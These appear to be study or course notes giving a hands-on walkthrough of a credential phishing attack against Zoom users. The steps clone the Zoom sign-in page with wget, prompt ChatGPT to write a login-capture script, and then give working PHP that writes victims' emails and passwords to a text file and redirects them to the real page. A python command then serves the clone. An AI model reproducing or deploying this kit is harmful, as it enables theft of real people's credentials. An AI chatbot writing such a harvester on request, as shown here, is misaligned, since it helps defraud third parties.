Hands-On Credential Phishing
https://hacktricks.boitatech.com.br/phishing-methodology
SMTP (25,465,587)
13.3.2 - Cloning a legitimate website
Clone the page of a website with wget
wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"
Make sure the cookie modal is present, use ChatGPT to adjust any spacing issues
13.3.4 - Injecting malicious elements into the clone
Start by asking ChatGPT for a custom login file
Help me write the custom_login.php file, it should first capture the email and password and then write them to a file called "credentials.txt" without overwriting an existing file or its content.
After it should redirect the user to the official zoom page https://zoom.us/signin#/login
Should spit out something similar to this, dumping the creds into a file called credentials.txt
<?php
// Check if the form fields 'email' and 'password' are set
if (isset($_POST['email']) && isset($_POST['password'])) {
// Get the email and password from the form
$email = $_POST['email'];
$password = $_POST['password'];
// Define the file path to store the credentials
$file = 'credentials.txt';
// Prepare the data to write (append mode)
$data = "Email: " . $email . "\nPassword: " . $password . "\n\n";
// Use file_put_contents to write to the file and create it if it doesn’t exist
if (file_put_contents($file, $data, FILE_APPEND | LOCK_EX) === false) {
echo "Error writing to file.";
exit();
}
// Redirect the user to the official Zoom sign in page
header('Location: https://zoom.us/signin#/login');
exit();
} else {
// If the form is not submitted correctly, output an error message
echo "Please ensure both email and password are provided.";
}
?>
Host the application on an http.server and check for outputted credentials in the txt file
python3 -m http.server 80